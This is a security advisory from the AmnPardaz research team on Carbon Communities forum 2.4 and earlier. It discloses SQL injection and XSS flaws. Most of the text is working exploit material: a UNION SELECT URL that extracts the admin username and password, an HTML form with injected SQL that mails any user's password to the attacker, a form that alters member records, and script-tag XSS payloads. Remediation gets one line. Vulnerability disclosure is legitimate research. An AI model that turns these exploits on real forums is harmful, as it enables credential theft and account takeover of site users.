Advisory Text :  

########################## www.BugReport.ir
#######################################

#

# AmnPardaz Security Research Team

#

# Title: Multiple Vulnerabilities in Carbon Communities forum.

# Vendor: www.carboncommunities.com

# Vulnerable Version: 2.4 and prior versions

# Exploit: Available

# Impact: High

# Fix: N/A

# Original Advisory: http://bugreport.ir/index.php?/35

########################################################################

###########

####################

1. Description:

####################

Carbon Communities is a high powered, fully scalable, and highly
customizable online portal, message boards/ bulletin board, discussion
hub, Private messaging, Event Calendars, Emails and chat software rolled
into one.

####################

2. Vulnerability:

####################

2.1. There is a SQL Injection in "events.asp?id=[Injection]". By using
it, attacker can gain usernames and passwords.

2.1.1. POC:

Check exploits section.

2.2. There is a SQL Injection in "getpassword.asp". By using it,
attacker can send any password to his/her email address.(exploit
available)

2.2.1. POC:

Check exploits section.

2.3. There is a SQL Injection in "option_Update.asp". By using it,
attacker can update member info.(exploit available)

2.3.1. POC:

Check exploits section.

2.4. There are some XSS in "login.asp" and "member_send.asp".

2.4.1. POC:

/login.asp?Redirect='><script>alert('XSS')</script><fake a='

/member_send.asp?OrderBy='><script>alert('XSS')</script><fake a='

####################

3. Exploits:

####################

Original Exploit URL: http://bugreport.ir/index.php?/35/exploit

3.1. Attacker can gain usernames and passwords:

-------------

http://[CarbonCommunitiesURL]/events.asp?ID=-1 union all select
1,1,1,'Username= '%2bmember_name%2b'<br>Password=
'%2bmember_password,1,1,1,1,1,1,1 from tbl_Members where member_name =
'admin'

-------------

3.2. Attacker can send any password to his/her email address:

-------------

<script language="javascript">

function check(){

document.getElementById("UserName").value = "1' or
uCase(Member_Name)='"+ document.getElementById("UserName").value

}

</script>

<form action="http://[CarbonCommunitiesURL]/getpassword.asp"
method="post" onsubmit="check()">

UserName: <input type="text" name="UserName" id="UserName"
value="default" size="100" />

<br />

EMail: <input type="text" name="EMail" value="Your Email Address"
size="100" />

<br />

<input type="submit" />

</form>

-------------

3.3. Attacker can update member info.:

-------------

<form
action="http://[CarbonCommunitiesURL]/option_Update.asp?Action=edit"
method="post">

ID<input type="text" name="ID" value="1"/>

<br />

Member_Cookies<input type="text" name="Member_Cookies" value="Yes" />

<br />

Member_SystemCookies<input type="text" name="Member_SystemCookies"
value="Yes" />

<br />

Member_Center<input type="text" name="Member_Center" value="1" />

<br />

Member_EmailTheadResponse<input type="text"
name="Member_EmailTheadResponse" value="1" />

<br />

Member_EmailPostResponse<input type="text"
name="Member_EmailPostResponse" value="1" />

<br />

Member_WeekStart<input type="text" name="Member_WeekStart" value="0" />

<br />

Member_ThreadDays<input type="text" name="Member_ThreadDays" value="0"
/>

<br />

Member_ThreadView<input type="text" name="Member_ThreadView" value="0"
/>

<br />

Member_Invisible<input type="text" name="Member_Invisible" value="1" />

<br />

Member_HiddenEmail<input type="text" name="Member_HiddenEmail" value="0"
/>

<br />

Member_ReceivePM<input type="text" name="Member_ReceivePM" value="1" />

<br />

Member_PMEmailNotice<input type="text" name="Member_PMEmailNotice"
value="1" />

<br />

Member_PMPopup<input type="text" name="Member_PMPopup" value="1" />

<br />

Member_Newsletter<input type="text" name="Member_Newsletter" value="0"
/>

<br />

Member_TimeZone<input type="text" name="Member_TimeZone" value="0" />

<br />

Member_DefaultColor<input type="text" name="Member_DefaultColor"
value="1" />

<br />

<input type="submit" />

</form>

-------------

####################

4. Solution:

####################

Edit the source code to ensure that inputs are properly sanitised.

####################

- Credit :

####################

AmnPardaz Security Research & Penetration Testing Group

Contact: admin[4t}bugreport{d0t]ir

WwW.BugReport.ir

WwW.AmnPardaz.com